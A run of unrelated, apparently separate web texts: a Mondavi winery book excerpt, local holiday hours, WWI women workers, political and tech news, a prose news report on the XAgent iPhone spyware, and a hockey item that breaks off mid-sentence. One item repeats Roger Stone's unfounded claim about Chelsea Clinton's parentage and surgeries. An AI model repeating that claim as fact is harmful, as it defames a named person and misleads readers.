Winery In the background, Winiarski operated the lift that raised the gondola filled with grapes and tipped them into the hopper. From there, the fruit moved along a conveyer belt to the crusher. The mechanics of the moment only hinted at the deeper transformations that would take place as the grapes moved toward their transfiguration into wine. The atmosphere was solemn: There was no round of applause or cheering as Robert’s partners Fred Holmes, Bill Hart, and Ivan Shoch stood watching, their families beside them. Also present was Charles Daniels and two of his sons. Daniels had been distributing Krug’s wines since the 1940s and was close friends with Robert. He wanted to support him in his new venture and offered to distribute his wines when they were released in the spring of 1967, even though he knew that support would infuriate Peter. For growers such as Holmes and Hart, crush is a moment of death as well as birth. The life that they have nurtured from bud break through harvest is coming to an end; another is about to begin. “There is a death taking place here,” reflects Warren Winiarski, who later became one of the valley’s most famous winemakers. “It’s the death of the grape. I never saw a grower sad, but solemn. They’re glad that it’s happening but it’s a mixed feeling. They’ve worked all that season to make these grapes what they are and now they are being crushed, being destroyed in order to be reborn into a different substance. They’re glad but also a little bit mindful of destruction.” But that moment of solemnity passed. Robert said a few words about a new beginning. The group included workmen clad in overalls and hats to shield them from the sun. Marjorie began pouring the white wine that had waited for the group beneath a folding card table in a plastic tub filled with ice. Looking cool and elegant, with her blond hair pinned into a chignon, Marjorie, like her daughter, had dressed for the heat, in a conservative A-line skirt that stopped just below the knee and white flats, even though miniskirts and go-go boots were shocking the nation elsewhere. After the ceremony, the Holmeses, Shochs, and Mondavis gathered for a group photo in front of the grape-filled gondola. The adults held long-stemmed wineglasses. Robert smiled at Marjorie. Timothy, fair-haired and with the gangly look of a teenager, wore black-and-white-laced Converse sneakers. Then just fifteen years old, he, too, held a wineglass in his hand. Marcia, looking contemplative, sat below the row of standing adults. Perhaps in a foreshadowing of the family drama to come, Robert’s elder son was absent on that momentous day. * * * The new Mondavi winery was the most significant to be built in the valley since Prohibition, and with barely three dozen bonded wineries operating in the valley at the time, the groundbreaking marked a key turning point. “The construction of the Robert Mondavi Winery marks the effective beginning of American wine’s rise in both quality and prestige,” wrote the wine historian Paul Lukacs. “What happened there helped ignite the revolution in American tastes.” “It also helped change broad public attitudes toward wine in general and American wine in particular.” That fall, however, the significance of Robert’s bold new winery—a venture that some dismissed as “Robert’s Folly” and others as an example of his hubris—seemed to offer concrete proof of the fissure between the proud and talented Mondavi brothers. Fellow vintners watched the rising feud between Robert and Peter with a mixture of sympathy and dismay. After all, Robert was building his winery just five miles south of Krug on Highway 29. The brothers were barely on speaking terms. Other vintners in the valley didn’t talk about it much; mostly, they looked the other way. But what also caught everyone’s attention and provoked some amused comments was that almost as soon as he started his own winery, Robert began pronouncing his surname differently than Peter, Rosa, and the rest of the family. He restored it to “Mon-dah-vee,” which was how the name was pronounced before Cesare had Americanized it after immigrating to the U.S. Meanwhile, Peter and the rest of the family continued to pronounce their last name as they always had done: “Mon-day-vee.” However slight the change, the new pronunciation had the intended effect of distinguishing Robert from his younger brother. When his longtime friend Charles Daniels asked Robert why he’d changed it, Robert explained with a straight face: “That’s the proper Italian pronunciation.” Daniels also recalled that around that time, some people in the valley began asking, “What is it with this Mondavi business?” referring to the rift between the brothers and Robert’s startling decision to Europeanize his last name. Robert never formally announced the change in pronunciation; it just spread through usage. In later years, his sister Helen would even jokingly introduce herself as “Helen Mon-dah-vee Mon-day-vee.” And soon enough many people—and especially newcomers to the valley—started referring to the entire family as “Mon-dah-vees”—a galling, frequent reminder to Peter of Robert’s linguistic coup over the rest of the family. The Robert Mondavi Winery’s growing reputation was built on fine wines, meaning expensive wines made almost exclusively from Napa Valley grapes. It was also built on Robert’s gift for hiring talented winemakers. Keeping those winemakers was another matter, though. For Robert faced an ongoing problem: With one son in the business and another likely to join, the family would always get the credit for the elegant wines that were produced at Oakville, even though it was often the staffers doing much of the work. And although Robert would pay employees 10 to 15 percent above other wineries’ wages and offered such perks as weekly wine tastings, there was a ceiling to any career ambitions that a staffer without the last name Mondavi might entertain at the winery. The family openly acknowledged this. Michael, upon his return, worked hard and earned just $650 a week. To try to drum up business, he would sometimes drive slowly down Highway 29 from Rutherford to Oakville, waiting for cars to stack up behind him. Driving a pickup truck borrowed from his father-in-law, he’d then slowly make the right-hand turn into the winery. When a car or two followed him, as they often did, he’d jump out of his truck and stick out his hand, saying, “Hi there, I’m Michael Mondavi. Would you like a tour?” Yet, Michael also clearly enjoyed an advantage because of his last name, even joking about it at times. On meeting Michael for the first time for a job interview, one applicant asked if he minded that the applicant’s wife also worked at the winery. Robert’s elder son leaned back in his chair and grinned: “Nepotism can be a good thing.” But this practice carried a sizable cost for the company: Ambitious employees often ended up quitting for better opportunities elsewhere. The first to go was Warren Winiarski, the academic refugee from the University of Chicago. Winiarski worked through the first two crushes at the Robert Mondavi Winery, amid the chaos of construction, and left shortly before the third in 1968. This first year, Winiarski did much of the lab work himself as well as supervising crush, fermentation, and aging of the reds. Michael was doing his National Guard duty for much of the first year as the Vietnam War raged, so Winiarski took his guidance from Robert. In terms of the day-to-day production, Winiarski was in charge, without any sort of directions in terms of style from either Robert or Michael to produce, for example, Bordeaux-style wines. Because so much else was going at the winery—completing construction, negotiating grape contracts, and selling their first year’s wine—Winiarski was left mostly to his own devices. Yet by 1967, Michael had returned from the National Guard and become, in title at least, the winemaker at Mondavi. That proved frustrating for Winiarski, who, despite his differences with Lee Stewart, had embraced his old boss’s style of paying close attention to even the seemingly most minor details of winemaking. Michael, in turn, had no formal training in enology or chemistry and while he had absorbed a general understanding of winemaking from his days as a cellar rat at Krug, he was not by nature highly detail-oriented. So when incidents occurred in Winiarski’s second and third years at Mondavi, such as Michael taking the valves off the tanks and not replacing them, thus inadvertently exposing the wine to air, Winiarski started to wish he had more control. “There were things he didn’t see because he didn’t care,” says Winiarski. “He liked wine but it wasn’t his passion.” Winiarski had borrowed money in 1965 to buy fifteen acres of his own up on Howell Mountain, where he hoped to plant a vineyard. His first season in 1967 was a disappointment but he didn’t give up. The following year, his plans to start a vineyard of his own started to come together. So, hoping he could support his family as a freelance winemaker and consultant, he announced he was quitting the Robert Mondavi Winery, shortly before the crucial time of harvest. As Winiarski tells it, Michael was not happy about the timing of his departure. But “I didn’t come to California to be the number-two man in a two-man winery,” recalled Winiarski, referring to his relatively short stay at Souverain Cellars. “The same thing was true at Mondavi.” While Winiarski learned an extraordinary amount at both places, he bridled at working under someone else.“Everyone who is devoted to making something wants to have control of the material—finally and completely—and that couldn’t happen there because of Mike and Robert. It was their material,” meaning it was ultimately their grapes, yeast, barrels, and wine. It didn’t take long for Robert to recruit Winiarski’s replacement: a talented Croatian immigrant named Miljenko “Mike” Grgich, who was then working at Beaulieu Vineyard for André Tchelistcheff, the quality-driven winemaker who demanded high standards of cleanliness and precision from his staff. Tchelistcheff was about to retire, but ironically his own son had applied for his job, which seemed to suggest that Grgich was unlikely to become the next winemaker at Beaulieu, the most revered producer of fine wines in the valley. Robert knew of Grgich’s situation and thought he might be looking for a new position. So the men arranged a chat in the fall of 1968, just a few weeks after Winiarski had left. Grgich made the short, two-mile drive down Highway 29 and met with Robert on a wooden bench, near the Robert Mondavi Winery’s mission-style arch. It was a sunny fall day and Robert’s enthusiasm was infectious, as he explained to Grgich his dream of making French-style wines with the newest and most technologically advanced equipment available. Robert also explained that his son recently had returned from duty in the National Guard and was the vice president of winemaking. “I need someone to help my son Michael, who is very young,” Robert told Grgich. While his job title would be head of quality control, in fact he would run the winemaking operation for the family and be the actual winemaker, in a deus-ex-machina fashion. In return, Robert offered Grgich the opportunity to build his reputation as one of the finest winemakers of his generation. “Mike, if you join my company, I’ll make out of you a little André Tchelistcheff!” he promised him. It was an irresistible offer, made more so because of Robert’s evident passion to make the Robert Mondavi Winery America’s finest. Grgich accepted and got to work, introducing—among other methods he had learned at Beaulieu—malolactic fermentation, a technique that lends a soft, buttery quality to wines by converting hard malic acids into soft lactic acids. Every Monday, led by Robert, the staff would have their own blind tastings of Mondavi wines against the best from France. It entered into company legend that the winery was California’s largest importer of French grand crus because of these competitive tastings. Robert showed up at the winery nearly as early as Grgich, at six or seven each morning during crush, to taste the progress of the fermenting juice from the barrels or discuss a technical issue with his winemaker. The very first Cabernet Grgich made for the winery, the 1969, was entered in a blind tasting—which meant that the wine labels would be hidden from the judges—against several other Cabernet Sauvignons from California. Organized by the Los Angeles Times’s wine writer, Robert Lawrence Balzer, the judges, who included Tchelistcheff and Robert, had made most of the wines being tasted that day. When the judges voted the 1969 Robert Mondavi Winery Cabernet as the very best, that decision led to a rush of favorable publicity for the young winery, catapulting it overnight into the ranks of such revered wines as those made at Beaulieu. Though Grgich had made the wine, Robert took credit for it. The Balzer tasting, as it came to be known, was the first big publicity breakthrough for the winery, sending its sales soaring. It helped attract the attention of the European wine trade, which, a few years later, in 1976, would organize a blind tasting that would have an even more significant impact on Napa Valley. * * * From The House of Mondavi: The Rise and Fall of an American Wine Dynasty by Julia Flynn Siler (juliaflynnsiler.com). Published by arrangement with Gotham Books, a member of Penguin Group (USA), LLC. Copyright © 2007 by Julia Flynn Siler. Photo: flydolce, flickr -A roundup of every time Jason Louv has appeared with Duncan Trussell on the Duncan Trussell Family Hour to talk about magick! Hey there! Over the last couple years I’ve been very honored and grateful to team up with psychedelic avenger Duncan Trussell and become a regular guest on his show. About once a year I show up to do a “Magick Class With Jason Louv” spot, and Duncan and I travel across the multiverse to discuss the heavens and hells of psychedelic and magical consciousness. Here’s the shows, in chronological order: Duncan Trussell Family Hour #114 In my first appearance on Duncan’s show, we talk about the occult nature of the media; if there actually is a massive conspiracy to constrain human consciousness or if people are just that way all on their own; the nature of the Qliphothic Hell Realms and lots, lots more. This one starts off dark and just gets darker, but worry not, there’s LVX at the end of the tunnel! Duncan says: Magician, author, and mystic Jason Louv (Monsanto Vs. The World, Queen Valentine, Generation Hex, The Psychick Bible) discusses the dangers and potential benefits that come from walking the magickal path! Duncan Trussell Family Hour #160 I follow up my previous appearance with a good general talk on the nature of Magick and the critical importance of laser-pointed consciousness in our fragmented, mentally scattered world. How to jump across multiple dimensions by shifting your focus is also discussed, so there’s that, too. Duncan says: Jason Louv, Ultraculture, magick.me, returns to the DTFH to teach Duncan about the secret arts!! Duncan Trussell Family Hour #230 In my latest appearance, we talk about the great Renaissance magician Dr. John Dee, the deeper history of the Western occult tradition and the nature of the universe itself as the embodied mind of God. These are all fun subjects you can discuss with your family around the dinner table after listening intently! Duncan says: A deluxe episode with an exclusive new song from award winning mega-band Win Streak Bonus Star along with a deep conversation with author and occultist Jason Louv. We explore John Dee, the Enochian angels and the magical arts. (Check it out at Duncan’s site here, it’s not on YouTube currently.) If you’re inspired to learn more about magick after listening to these shows, you check out my free course on chaos magick here! -All Montgomery County and City of Rockville facilities will be closed and no programs will operate on Dec. 25 and Jan. 1. Holiday hours for city facilities are as follows: Rockville City Hall will be closed Christmas Day and New Year's Day. Rockville Senior Center will close at 5 p.m. on Monday and on Dec. 31 and will be closed Christmas Day and New Year's Day. Lincoln Park Community Center, Thomas Farm Community Center and Twinbrook Community Recreation Center will be open 10 a.m. to 6 p.m. on Monday, on Wednesday, on Dec. 31 and on Jan. 2. The centers will be closed Christmas Day and New Year's Day. Croydon Creek Nature Center will be closed on Monday and on Dec. 31. The center will be open from 10 a.m. to 2 p.m. Dec. 26. The center will be closed Christmas Day and New Year's Day. Glenview Mansion will be closed Christmas Day and New Year's Day. F. Scott Fitzgerald Theatre be closed Christmas through New Year's Day. Rockville Swim and Fitness Center will be open 6 a.m. to 4 p.m. on Dec. 24 and 31 and closed Christmas Day and New Year's Day. Recycling and refuse collection for Monday and for Dec. 31 will not be affected. Collection for the remainder of each week will shift forward one day, with Friday collection made on Saturday. The city also is recycling cut and artificial Christmas trees. Click here for details. Parking will be free at city-owned meters and garages on Christmas Day and New Year's Day. For payment information on Rockville Town Square parking garages, go to rockvilletownsquare.com/parking. For more information about city facilities or programs call 240-314-5000 or visitwww.rockvillemd.gov. The following county and state facilities will be closed on Christmas Day and New Year's Day: Montgomery County government offices. Offices also will be closed Monday. State offices and courts. Montgomery County Public School administrative offices will be closed Dec. 22-25 and Jan. 1. County libraries. Branches also will be closed on Monday. Branches will close at 6 p.m. on Dec. 31. Olney Express Service will be closed Dec. 23 through Jan. 1. Gaithersburg Interim Library will be closed Dec. 24-25, Dec. 31 and Jan. 1. All recreation facilities will be closed on Monday, on Christmas Day and on New Year's Day. All county community and neighborhood recreation centers will be closed Monday through Jan. 1. County senior centers will be closed Sunday through Jan. 1. County liquor stores. Stores will be open 9 a.m. to 7 p.m. on Monday and on Dec. 31. Shady Grove Processing Facility and Transfer Station. The station will close at 5 p.m. on Monday. Recycling and refuse collection for Monday and for Dec. 31 will not be affected. Collection for the remainder of each week will shift forward one day, with Friday collection made on Saturday. Parking will be free at county public garages, lots and curbside meters on Monday, on Christmas Day and on New Year's Day. Transportation services are running on modified schedules on Christmas Day and New Year's Day: Ride On: Sunday schedule. Service ends early Monday, Christmas Eve, with last buses departing terminals around 10 p.m. Metrobus: Sunday schedule. Metrorail: Sunday schedule. TRiPS Commuter Stores near Silver Spring and Friendship Heights Metro stations will be closed Christmas Day and New Year's Day. -In this guest blog, Caroline Nielsen explores how war changed the lives of women on the home front not just in terms of their daily work, but in the clothes they wore to do it. One day in early 1915 in the pit village of Horden, County Durham, 22 year-old Elizabeth “Lizzie” Holmes set off to post a letter for her father-in-law. She was on her way home from work, and the Post Office was on the way. This seemingly innocuous errand ended with her being mobbed by children. Why did Lizzie inadvertently become the centre of attention that day? Lizzie was wearing men’s work clothes. Her heavy shirt, leather trousers and boots was the standard gear of all above-ground pit workers. Along with a number of her friends and neighbours, Lizzie had taken a labouring job at the local pit operating the coke ovens. For the first time, the children were confronted with a woman wearing an outfit that they had previously only associated with their fathers, grandfathers and older brothers. For one brief moment, Lizzie reminded all who saw her that the war had changed fundamentally changed British industry as they knew it. Women were taking men’s jobs in all industries, including in the male-dominated coal industry. That the simple act of wearing men’s work clothes was evidently so shocking seems odd to modern audiences. But in 1915, trousers were an exclusively male garment. That doesn’t mean that women did not periodically wear trousers albeit in very limited contexts. Women’s fashion had toyed with the idea of trousers for at least three decades before Lizzie set off on her errand. A small number of Victorian and Edwardian ladies adopted baggy trousers and “bifurcated skirts” (long culottes) as part of their campaign against the restrictive fashions of the time. In spite of their efforts, trouser-wearing was not widely adopted until the late 1920s and 1930s when masculine tailoring became a staple of haute couture. Even the sportiest Edwardian lady pilots and racing-car drivers preferred to tie their long skirts modestly around their ankles. Male impersonators were also a regular feature on British music hall circuits where performers like Vesta Tilley drew large audiences. These women performed risqué songs while dressed as young men. Part of the thrill was that audience could see their legs! Lower-class women had, of course, been wearing work trousers for centuries. During the Victorian era, leather trousers were associated with the “pit brow lasses” of Lancashire. Women who chose to wear “men’s clothes” outside of these contexts risked a more negative response from their communities. Cross-dressing was a moral issue. By the early twentieth century, dressing in masculine clothes was gradually being associated with lesbianism. Trousers were associated with clear contexts: politicised fashion and distinct regional trades. They were not associated with respectable miner’s wives, at least not in the Durham area. The fact that it was Lizzie, a woman who may have already attracted negative comments from her community, probably added to the children’s response. She was an extrovert and in her own words, “a bit rough and ready”. She had tattoos, liked a drink, and on at least one occasion ended up in a fight, an event which she enjoyed describing when she was interviewed in her mid-80s. Lizzie revelled in the notoriety of being proclaimed “the first woman in Horden to wear trousers!”. We will never know if this title was truly deserved. However, her story demonstrates how the First World War expanded the employment opportunities available to women. Lizzie was offered the opportunity to work in a trade that had previously been barred to her as a married woman in a County Durham village. The Northern Coalfield was almost exclusively male. The 1911 census shows how shocking the arrival of female coke oven workers would have been in Horden: officially there were only 13 female coke workers recorded in the entire Durham area. While this figure was definitely an under-estimate, it explains why the children were so surprised! Lizzie’s time in the coal industry was short-lived. Like most women who joined heavy industry during the First World War, Lizzie saw her wartime job as a temporary expedient. She expected to leave the job once her miner husband came home from the front. The majority of married women never entered the labour market during the war, believing that their place was at home with their families. The Government, trade unions and employers similarly saw women’s employment only as temporary. The end of the war saw the mass withdrawal of women from the labour market. Some went voluntarily like Lizzie. Many others were summarily dismissed. Some trade unions began lobbying for a ban on the employment of married women, concerned that the war had all too readily demonstrated that women were able to compete with their male counterparts. Women were encouraged to return to more “gender appropriate” trades like domestic service. Lizzie spent the rest of her working life as a charwoman, raising her family and caring for her wounded husband Jimmy. Click here to view an image of Lizzie (front row, far right). Lizzie was interviewed in 1976 as part of the Peterlee Development Project, a collaboration between the artist Stuart Brisley, Peterlee Council and the Artists Placement Group. Some of the materials from this are now available on through Durham County Records Office and their People Past and Present Archive. -In his book, "The Clintons' War on Women," high-profile Donald Trump campaign strategist and noted conspiracy theorist Roger Stone claims Chelsea Clinton — daughter of Democratic nominee Hillary and former-President Bill — had four plastic surgeries in order to look less like her biological father, Webb Hubbell. Promoting the book in what looks like a hotel banquet hall over the weekend, Stone reasons, "Hillary admits in her own book that a large football player-sized man taught her the proper way to hold a baby. Who could that be?" Advertisement: Hubbell — who was associate attorney general during Clinton's presidency — played offensive tackle for the University of Arkansas Razorbacks and was drafted by the Chicago Bears before a knee injury ended his career. "And if you look at her, she doesn’t look anything like Bill," Stone continued. "She looks just like her daddy, despite four plastic surgeries, the youngest one when she’s only 18. What 18-year-old gets plastic surgery unless you’re trying to, I don’t know, thin out the lips and make you look less like your daddy?" Watch below, via MediaMatters: -+1 Share 2K Shares Children’s Healthcare of Atlanta, one of the premier pediatric hospital systems in the southeastern U.S., announced Tuesday that they would be able to support a plan by State Representative Allen Peake (R-Macon) to introduce a medical marijuana bill. While not a rousing endorsement of medical marijuana, Children’s says they are in support of the bill because of the research opportunities that will come along with it. In a statement to the Atlanta Journal-Constitution, Children’s said “there has not been enough evidence-based research around the use of (cannabis oil) studying its safety and tolerability in children with seizure disorders and thus should not be used generally.” However, they said they were “in support of legislation that would allow clinical research by academic institutions to further investigate this compound for the treatment of intractable seizures in children.” Rep. Peake was expected to introduce his bill today but that got postponed when snow started falling and the House of Representatives adjourned until 1:00 PM Wednesday. It is expected that Rep. Peake’s bill will place a heavy emphasis on medical marijuana in the form of CBD drops and tinctures. -RIM CEO Thorsten Heins is sort of like the captain of the Titanic, except the Titanic was popular and people were sad when it sank. But unlike Captain Edward Smith, Heins is either crazy or a liar. Or both. This week, while most of America was either preparing for or in the midst of a beer-and-meat-induced catatonic state, RIM's current and final chief executive took a frosty page from the old Iraqi Information Minister, telling the world that the sky was not falling, but if it were, it was a chocolate sky. Lift up your mouth and let the delicious death spiral sprinkles fall into your mouth! Everything is lovely, nothing harmed, the children of tomorrow smile, palms upward, waiting for a new BB10 device. They tie ribbons in their hair and wait. He also spit out a salvo of statements diametrically opposed to the fabric of reality. Here's all the proof you need to decide that RIM isn't just fucked, but not even due for an enjoyable fucking. The man in charge is full of shit. To wit, from an op-ed in the Globe and Mail that will make you weep: 1. "Don't count BlackBerry out." Sorry, everyone has. It's over. And a weak cliche of ra-ra-ism isn't going to change that. Advertisement 2. "We believe RIM is a company at the beginning of a transition that we expect will once again change the way people communicate." There is nothing we've seen of BB10 that suggests it would've been anything more than a catchup grab at iOS, Android, and Windows Phone. There is zero about BB10 that's of the future. Advertisement 3. "As we prepare to launch our new mobile platform, BlackBerry 10, in the first quarter of next year, we expect to empower people as never before. BlackBerry 10 will connect users not just to each other, but to the embedded systems that run constantly in the background of everyday life - from parking meters and car computers to credit card machines and ticket counters." This would be a grandiose statement even from Google or Apple. 4. "We are working diligently on BlackBerry 10 in order to provide a compelling experience for our loyal enterprise customers and consumers. While we are in a very competitive and constantly changing market, customers benefit from this competition and continued innovation." Advertisement "Customers" do, but not RIM customers. Nobody who wants a BlackBerry will benefit by waiting for an operating system that will almost certainly not see the light of day. 5. "As has been reported, RIM has hired outside advisers to help me and the other members of the executive team think about the business in new ways and to explore a range of alternatives that leverage our core strengths and build on the BlackBerry brand." Translation: we have brought in consultants to figure out how we can die gracefully. Okay, actually that's the sanest thing he's said in months. Minus the "build on the BlackBerry brand" part. Advertisement 6. "In response to our tough quarterly results last week, our employees received thousands of e-mails from around the world from retail customers, carrier partners, developers, family, friends and neighbours expressing their support and loyalty to BlackBerry. They are - like many of us - BlackBerry people by choice." How many BlackBerry users have any brand loyalty beyond their job requirements? And how many of those "thousands" of cheery messages, if they are real, were matched by thousands of messages from the thousands of RIM employees you laid off because your company is dying? Advertisement But it might be a recent interview that shows just how detached Thorsten Heins is from anything you could call the real world: 7. "There's nothing wrong with the company as it exists right now," Heins said on CBC's Metro Morning radio show. 8. "I'm not talking about the company as I, kind of, took it over six months ago. I'm talking about the company (in the) state it's in right now." Advertisement But Thorsten, you yourself speak of "tough quarterly results," how yours is a "challenging job," and how the company needs to "start to surface." From one side of your mouth you downplay RIM's necrosis, and from the other side, deny it altogether. At least Nero had the decency to fiddle while Rome burned—Heins just plays the bullshit saxophone. We get that RIM needs to puff itself up if it wants to attract buyers for an inevitable corporate butchering—like a diseased peacock that still needs a mate—but this is just unseemly. If, for whatever reason, you need more evidence that the man is unfit to see RIM droop and splinter in its last gloomy days, consider the fact that, at one point, Thorsten Heins said—without a shred of irony: Advertisement 9. "Let's rock and roll this!" That is all. -Welcome To The Pittman Center Community Volunteer Fire Department Serving and Protecting since 1983 BURN PERMITS ARE REQUIRED OCTOBER 15TH THRU MAY 15TH. Visit: burnsafetn.org to obtain a permit online or to see regulations for outdoor burning. Please call 865-429-7020 to obtain a permit by phone. ORDER YOURS TODAY! Now accepting donations on line. Click on the "Donate" button. Free Smoke Detector If you need a Smoke Detector click on "Smoke Detector Request ", fill out the form and click submit. We will come to your home and install the Smoke Detectors FREE OF CHARGE. If you do not live in our response area, we will pass on your information to your responding fire department. Station 2 is available for parties and meetings. Click on "Station Rental" for details -We hear a lot about what could be done with the Blockchain, this decentralized ledger which record permanently and almost instantly information from all around the world. This is the first time in our history that we created such a ledger, it's not about chatting with someone else, it's about agreeing on facts with everyone else every couple of minutes. However we don't hear much about the actual projects the big corporations are working on. Let's see the 7 most important: 1. IBM and Samsung - IoT Would you like to see your fridge, your phone and your car transact with other things? IBM and Samsung are working on a project unveiled at CES 2015 called ADEPT which will serve as a ledger of existence for billions of devices that will autonomously broadcast transactions between each other’s. 2. NASDAQ, NYSE – Stock Exchange Or how to bypass Automated Clearing House which take days to record wall street transactions. "As Blockchain technology continues to redefine not only how the exchange sector operates, but the global financial economy as a whole, Nasdaq aims to be at the center of this watershed development." said Bob Greifeld, CEO, Nasdaq 3. Deloitte - Audit & Consulting Real time auditing, land registry and reconsolidation between trading partners, this is just the top of the iceberg Deloitte is building with its new platform called Rubix. Deloitte is also working internally on a stealth solution to automate some of its auditing processing 4. BNP, Barclays, City, UBS, Société Générale, Goldman Sachs, Santander - Banks Do you know that your banks depends heavily on some protocol to transfer money? Using the Blockchain will allow them to get rid of VISA, Mastercard and SWIFT. 5. Minecraft - Games and Virtual reality Every game has it's own currency system and some become so important that you can find a stable exchange rate with fiat currencies. This is the case with World of Warcraft gold or Second Life Linden dollars. Blockchain bring to these world a currency that they can use inside the game and trade on Amazon at the same time. Some servers of Minecraft already implemented such systems. 6. Western Union - Money transfer solutions The famous dinosaur of money transfer is facing a big threat with the new Fintech startup and want to face it with the same weapon. They already set up a lab with Ripple to study the Blockchain technology and improve their cross border payment. Will they adapt? 7. Honduras, Isles of man - Governments We would expect the Blockchain to be used for a voting system, but it seems the first aspect interesting for government is registries. Registry of lands in one case, registry of companies in the other one, notaries might not be such an important job in the future. If you want to know more and discuss details, let me some comments or send me a private message. I would also be pleased to hear some more examples ! -Passengers were stuck in the train without lights for about five minutes, and were guided to the station as much as 40 minutes from the time the train broke down, an eyewitness says. SINGAPORE: Some passengers found themselves walking on the Light Rail Transit (LRT) tracks in near-darkness in Sengkang on Tuesday evening (Mar 29), due to a train fault. LRT passengers forced to walk on track after train fault in Se... Sengkang LRT breakdown: Up to 30 people had to walk on the LRT tracks in near-darkness after a train fault.Full story: http://bit.ly/1Rp0gEg(Video: Mohann) Posted by Channel NewsAsia on Tuesday, 29 March 2016 Advertisement Off-duty cameraman Rajamohann Alrum Murugaiah said he was on the train travelling from Sengkang station to Renjong station at about 7pm when it stopped suddenly about 150m to 200m from Renjong station. He said the lights and ventilation fans went out for about five minutes, before coming on again. Facebook video: What it was like to walk on tracks in near-darkness SBS Transit first announced the disruption on Twitter at 7.57pm, saying there was no service on the East Loop of the LRT, and that free bridging bus services were available. It later stated at 8.22pm that services on the West (outer loop) of the LRT were also unavailable. At 8.31pm, SBS Transit said full LRT service resumed. Advertisement Advertisement Mr Rajamohann said while there were announcements on the train about the disruption, SBS staff only arrived about 20 minutes after the breakdown. They tried but failed to restart the LRT train, before two or three staff finally asked passengers to alight from the carriage and guided them towards Renjong station at around 7.30pm to 7.40pm. There were about 30 people inside the train, but Mr Rajamohann said he did not observe any panic among his fellow passengers. "It was after work ... I think they were just tired and frustrated," he said. -It’s Friday, making it much easier to get distracted by something more interesting than work on the Internet. If you’re looking for something great to watch today, then Google has put up a video of Garry Kasparov talking at Google this week. Kasparov was the highest-rated chess champion for more than 22 years. In the chat that lasts just over an hour he discusses how he still feels IBM cheated in his match with Deep Blue. He also says the dismantling of Big Blue right after the match was equivalent to IBM removing the only partial witness to his claims. He hasn’t even got logs of the game from IBM to look at. It’s a great watch with Kasparov giving some amusing responses to some of the questions asked. For example, when asked how to get better at chess without dedicating your life to it (18 minutes in), he responds by simply saying: If you don’t have time to devote your life for chess, why do you want to improve at the game? via YouTube -MSNBC HOST: The New York Times is reporting yesterday that Goldman Sachs has paid Hillary Clinton $675,000 for three speeches in recent years. She was paid millions more by other Wall Street firms. Along with her husband, they've been paid more than $125 million for paid speeches since 2001. That is, of course, not the kind of money that most Americans can relate to. Were the speeches a mistake, senator? SEN. JEANNE SHAHEEN, D-NH: Listen, voters are angry, and I don't blame them, because they've been watching a Washington that has been divisive, that hasn't worked together. And I believe we need a candidate who's not going to further divide this country but who's going to unite it. But that's not my question, senator. That's one of the reasons I'm supporting Hillary. Well, your first question was, are voters angry, and I would say yes. MSNBC HOST: No, I never asked that question. I think that's well established. The question was, are the speeches, were the speeches a mistake? Did it make sense to accept close to -- SHAHEEN: Look, it doesn't matter whether you support that or not. The fact is, that's in the past, just as Bernie's socialism, he claims, is in the past. So, the question is, what do voters want to see now from the candidates, and who can deliver? And that's what I believe the difference is between the candidates in this race. On both, on the Democratic side and on the Republican side. -While staying quite about the game for a while I was busy preparing things for bringing the game to E3, showing the game to journalists and the world in the Devolver parking lot. I'm happy to report it all went really, really well, and I'm so grateful for having gotten this opportunity, and I'm so so grateful people really seem to enjoy the game! If you haven't already, check a look at the trailer above! And as if just the adventure of going to E3 wasn't enough, the game got nominated for "Best of E3" by PC Gamer and CGM! It also got nominated for "Best Action Game" by IGN! And it won "Best Indie Game" by Resetmx! Incredible. And don't forget all of these nominations happened next to big AAA titles. Feels really surreal. Oh yeah, and there was actual Pedro swag! (As you might spot in the lower left corner of the above image) IGN posted a gameplay video and it's already got over a million views. Check it out here: There are also a bunch of video interviews floating around, some of which you can find here: Thank you all for being part of the journey up to this point, and here's hoping you'll stick with the game until the actual release! Oh, and if you haven't already, feel free to wishlist the game on Steam: Store.steampowered.com Cheerio! Victor -On Monday Mr Hollande said he had not yet decided whether to host Mr Putin, saying that pro-government forces in Syria troops had committed a "war crime" in the city of Aleppo with Russian support. "I asked myself the question... Is it useful? Is it necessary? Can it be a way of exerting pressure? Can we get him to stop what he is doing with the Syrian regime?" Mr Hollande said in a television interview. Jean-Marc Ayrault, the French foreign minister, said on Monday that France would ask prosecutors at the International Criminal Court in the Hague to consider an investigation into suspected Syrian and Russian war crimes. Mr Ayrault visited Moscow last week for talks with Sergei Lavrov, his Russian counterpart, in an attempt to win support at the UN for a French draft resolution for a ceasefire in Aleppo. -A team of hackers that target governments, the military and journalists has turned its attention to the iPhone, according to Trend Micro. The computer security company says it has discovered new spyware that infects iPhones, gathers large amounts of personal information and sends it to a remote server. The spyware, called XAgent, is delivered via a phishing attack using a technique called island hopping. In that, the phones of friends and associates of the true target are first infected and then used to pass on the spyware link. It’s based on the assumption that the target is more likely to click on links from people they know than from strangers. Once installed, XAgent will collect text messages, contact lists, pictures, geo-location data, a list of installed apps, a list of any software processes that are running and the WiFi status of the device. That information is packaged and sent to a server operated by the hackers. XAgent is also capable of switching on the phone’s microphone and recording everything it hears. XAgent runs on both iOS 7 and iOS 8 phones, whether they’ve been jailbroken or not. It is most dangerous on iOS 7 since it hides its icon to evade detection. On iOS 8 it isn’t hidden and needs to be manually launched each time the phone is rebooted—a process that would require the user to purposely reinfect their phone each time. For that reason, Trend Micro believes the spyware was written before iOS 8 was launched last year. Serenity Caldwell The iPhone 6 running iOS 8. While close to three quarters of Apple mobile devices are using iOS 8, a quarter are still running iOS7, according to data published by Apple this week. “We’ve been monitoring the actors behind this for quite some time,” said Jon Clay, senior manager of Global Threat communication at Trend Micro, in a phone interview. “The criminals have introduced [the iOS app] as part of their campaign to move further into the [targeted] organization, using this rather than PC malware.” While the identity of the hackers isn’t known, Trend Micro says it believes those behind what it calls “Operation Pawn Storm” to be a pro-Russian group. Past targets have included military organizations, defense contractors, embassies and media groups. Clay says the group might have targeted iOS because it discovered or assumed that a lot of its targets use Apple devices, either as work phones or secondary personal devices. Security software such as that offered by Trend Micro will detect XAgent, he said. Users can also look through phone logs, but manual detection of the spyware is quite difficult. His best advice is the same that’s been offered for years: don’t click on links that appear to be suspicious, especially when they involve downloading software or entering passwords. “The good thing for users is that this isn’t something that can be automatically done,” he said. “There are steps you have to do as a user to install this.” -GOALTENDER ZANE McINTYRE NAMED CCM/AHL AWARD WINNER FOR DECEMBER Providence, RI - The American Hockey League announced today that Providence Bruins goaltender Zane McIntyre has been selected as the CCM/AHL Goaltender of the Month for the month of December. McIntyre was a perfect 9-0-0 in nine appearances during December, sporting a 1.65 goals-against average and a .947 save percentage while stopping 269 of 